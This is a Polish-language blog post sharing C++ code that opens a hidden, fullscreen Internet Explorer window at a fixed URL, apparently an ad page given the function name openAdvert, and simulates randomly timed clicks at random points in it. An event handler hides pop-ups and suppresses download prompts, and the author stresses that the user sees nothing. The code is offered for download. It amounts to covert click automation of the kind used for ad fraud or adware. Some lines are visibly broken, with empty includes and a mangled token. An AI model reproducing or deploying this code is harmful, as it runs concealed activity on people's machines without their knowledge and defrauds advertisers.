Tworzenie i obsługa ukrytej przeglądarki

Kod pochodzi z jednego z moich projektów. Głównym założeniem było otwarcie nowego ukrytego przed użytkownikiem okna przeglądarki i symulowanie losowych kliknięć w różnych miejscach. Kod składa się z dwóch plików: Pierwszy z nich ma za zadanie obsługiwać nowe zdarzenia wysyłane do przeglądarki:
#pragma once

#include 
#include 

extern std::vector< IWebBrowser2* >browsers;
extern bool catchBrowser;

class BrowserEvents: public DWebBrowserEvents2
{
public:
STDMETHODIMP Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr){
#if defined DEBUG
char bufferLog[ 256 ];
snprintf( bufferLog, sizeof( bufferLog ) - 1 ,"New event dispIdMember %d" , dispIdMember );
logToFile( bufferLog );
#endif

switch(dispIdMember){
case DISPID_NEWWINDOW2:{
if( !catchBrowser ){
return S_OK;
}

IWebBrowser2* currentBrowser;

*( pDispParams->rgvarg[1].pboolVal ) = VARIANT_FALSE;

CoCreateInstance(CLSID_InternetExplorer, NULL, CLSCTX_LOCAL_SERVER,
IID_IWebBrowser2, (void**)¤tBrowser);

if( !currentBrowser ){
return S_OK;
}

currentBrowser -> put_FullScreen( VARIANT_TRUE );
currentBrowser -> put_Visible( VARIANT_FALSE );

*(pDispParams->rgvarg[0].ppdispVal) = (IDispatch*)currentBrowser;

browsers.push_back( currentBrowser );

break;
}
case 270:{ // DISPID_FILEDOWNLOAD
*( pDispParams->rgvarg[1].pboolVal ) = VARIANT_FALSE;

break;
}
}

return S_OK;
}

STDMETHODIMP QueryInterface(REFIID riid, void ** ppvObj){
(*ppvObj)=NULL;

if(!IsEqualIID(riid,IID_IUnknown) && !IsEqualIID(riid,IID_IDispatch) && !IsEqualIID(riid,DIID_DWebBrowserEvents2)) return E_NOINTERFACE;

(*ppvObj)=(void*)this;
return S_OK;
}

STDMETHODIMP_(ULONG) AddRef(){
return 1;
}
STDMETHODIMP_(ULONG) Release(){
return 1;
}

STDMETHODIMP GetTypeInfoCount(UINT *iTInfo){
return E_NOTIMPL;
}
STDMETHODIMP GetTypeInfo(UINT iTInfo, LCID lcid, ITypeInfo **ppTInfo){
return E_NOTIMPL;
}
STDMETHODIMP GetIDsOfNames(REFIID riid, OLECHAR **rgszNames,
UINT cNames,  LCID lcid, DISPID *rgDispId){
return E_NOTIMPL;
}
};
Kolejny jest głownym plikiem od którego zaczyna się cała zabawa
#pragma once

#include 

void exitBrowser( void );

std::vector< IWebBrowser2* >browsers;

bool catchBrowser = true;

IConnectionPoint* connectPoint;
BSTR bstrURL;
IWebBrowser2*    pBrowser2;
DWORD cookie;

bool endBrowser = false;

void mouseMove( HWND hwnd , DWORD x, DWORD y) {
PostMessage(hwnd, WM_MOUSEMOVE, 0, MAKELPARAM((short)x, (short)y));
}

void mouseClick( HWND hwnd , DWORD x, DWORD y , int time ) {
PostMessage(hwnd, WM_LBUTTONDOWN, 0, MAKELPARAM((short)x, (short)y));
Sleep( time );
PostMessage(hwnd, WM_LBUTTONUP, 0, MAKELPARAM((short)x, (short)y));
}

void mouseWheel( HWND hwnd , int amount ){
//PostMessage(hwnd, WM_MOUSEHWHEEL , MAKELPARAM( amount , 0 ), 0 );
}

BOOL CALLBACK EnumChildProc( HWND hwnd , LPARAM lparam ){
char szClassName[ 256 ];

GetClassName( hwnd , szClassName , sizeof( szClassName ) );

if( strcmp( szClassName , "Internet Explorer_Server" ) != 0 ){
return TRUE;
}

RECT windowRect;
GetWindowRect( hwnd , &windowRect );

for( int i = 0 ; i < ( std::rand() % 3 ) + 1 ; i++ ){
       	int positionX = ( ( std::rand() ) % ( windowRect.right - windowRect.left ) ) + windowRect.left;
		int positionY = ( ( std::rand() ) % ( windowRect.bottom - windowRect.top ) ) + windowRect.top;

		mouseMove( hwnd, positionX , positionY );

		Sleep( ( std::rand() % 100 ) + 100 );

		mouseClick( hwnd , positionX , positionY , ( std::rand() % 200 ) + 200 );

        Sleep( ( std::rand() % 300 ) + 300 );
   }

   return FALSE;
}

DWORD WINAPI openAdvert( PVOID pvParam ){
	if (SUCCEEDED(OleInitialize(NULL))){

   		CoCreateInstance(CLSID_InternetExplorer, NULL, CLSCTX_LOCAL_SERVER,
                       IID_IWebBrowser2, (void**)&pBrowser2);
   		if (pBrowser2){
       		VARIANT vEmpty;
       		VariantInit(&vEmpty);

       		bstrURL = SysAllocString(L"http://darkgl.pl");

       		HRESULT hr = pBrowser2->Navigate(bstrURL, &vEmpty, &vEmpty, &vEmpty, &vEmpty);
if (SUCCEEDED(hr))
{
pBrowser2->put_Visible( VARIANT_FALSE );
pBrowser2->put_FullScreen( VARIANT_TRUE );
}
else
{
pBrowser2->Quit();

SysFreeString(bstrURL);

OleUninitialize();

catchBrowser = false;

return 0;
}

srand( time( NULL ) );

Sleep( ( std::rand() % 1000 ) + 1000 );

if(std::rand() % 100 > 20 ){
pBrowser2-> Quit();

SysFreeString(bstrURL);
pBrowser2 -> Release();

OleUninitialize();

catchBrowser = false;

return 0;
}

HWND handle;

if( pBrowser2 -> get_HWND( ( long *)&handle ) !=  S_OK ){
pBrowser2-> Quit();

SysFreeString(bstrURL);
pBrowser2 -> Release();

OleUninitialize();

catchBrowser = false;

return 0;
}

IConnectionPointContainer* pServiceProvider2 = NULL;

BrowserEvents eventsHandle;

if (SUCCEEDED(pBrowser2->QueryInterface(IID_IConnectionPointContainer, (void**)&pServiceProvider2))){

hr = pServiceProvider2 -> FindConnectionPoint( DIID_DWebBrowserEvents2  , &connectPoint );

if( SUCCEEDED( hr ) ){
hr = connectPoint -> Advise( &eventsHandle , &cookie );

if(	FAILED( hr ) ){
pServiceProvider2 -> Release();

connectPoint -> Unadvise( cookie );

pBrowser2-> Quit();

SysFreeString(bstrURL);
pBrowser2 -> Release();

OleUninitialize();

catchBrowser = false;

return 0;
}
}

pServiceProvider2 -> Release();
}

IServiceProvider* pServiceProvider = NULL;

if (SUCCEEDED(pBrowser2->QueryInterface(IID_IServiceProvider, (void**)&pServiceProvider))){
IOleWindow* pWindow = NULL;

if (SUCCEEDED(pServiceProvider->QueryService(
SID_SShellBrowser,
IID_IOleWindow,
(void**)&pWindow))){

HWND hwndBrowser = NULL;

if (SUCCEEDED(pWindow->GetWindow(&hwndBrowser))){
EnumChildWindows( hwndBrowser ,EnumChildProc , 0 );
}

pWindow->Release();

catchBrowser = false;
}

pServiceProvider->Release();

}

#if defined DEBUG
logToFile( "On exit threads advert" );
#endif

endBrowser = true;

return 0;
}

OleUninitialize();
}

return 0;
}

void exitBrowser( void ){
if( !endBrowser ){
return;
}

connectPoint -> Unadvise( cookie );

pBrowser2-> Quit();

SysFreeString(bstrURL);
pBrowser2 -> Release();

for( unsigned int iPosition = 0 ; iPosition <  browsers.size() ; iPosition++ ){
        browsers[ iPosition ] -> Quit();
browsers[ iPosition ] -> Release();
}

OleUninitialize();
}
Cała zabawa zaczyna się od funkcji openAdvert
DWORD WINAPI openAdvert( PVOID pvParam ){
if (SUCCEEDED(OleInitialize(NULL))){

CoCreateInstance(CLSID_InternetExplorer, NULL, CLSCTX_LOCAL_SERVER,
IID_IWebBrowser2, (void**)&pBrowser2);
if (pBrowser2){
VARIANT vEmpty;
VariantInit(&vEmpty);

bstrURL = SysAllocString(L"http://darkgl.pl");

HRESULT hr = pBrowser2->Navigate(bstrURL, &vEmpty, &vEmpty, &vEmpty, &vEmpty);
if (SUCCEEDED(hr))
{
pBrowser2->put_Visible( VARIANT_FALSE );
pBrowser2->put_FullScreen( VARIANT_TRUE );
}
else
{
pBrowser2->Quit();

SysFreeString(bstrURL);

OleUninitialize();

catchBrowser = false;

return 0;
}

srand( time( NULL ) );
Jak widać jest tu tworzony nowy obiekt przeglądarki następnie na tym obieckie są wykowane różne operacje.
  • Ustawianie adresu url
  • Ustawianie trybu fullscreen
  • Ustawianie że przeglądarka jest ukryta ( visible – VARIANT_FALSE )
Dalej po losowym czasie zaczyna się klikanie w różne również losowe miejsca. Całość jak widać jest najeżona sprawdzaniem czy wystąpiły jakieś błędy. Tak naprawdę po uruchomieniu tego kodu nie zobaczymy nic , użytkownik nie zostanie poinformowany żadnym komunikatem kursor nie zacznie się sam poruszać wszystko dzieje się w tle. Kod obsługi zdarzeń przeglądarki jest trochę skomplikowany ponieważ musimy obsłużyć ściąganie plików , otwieranie nowych kart itp. itd. tego typu operacje został by odrazu pokazane użytkownikowi a tego nie chcemy. Dwa pliki do ściągnięcia: include.zip Download

Jeden komentarz o “Tworzenie i obsługa ukrytej przeglądarki

Dodaj komentarz

Witryna wykorzystuje Akismet, aby ograniczyć spam. Dowiedz się więcej jak przetwarzane są dane komentarzy.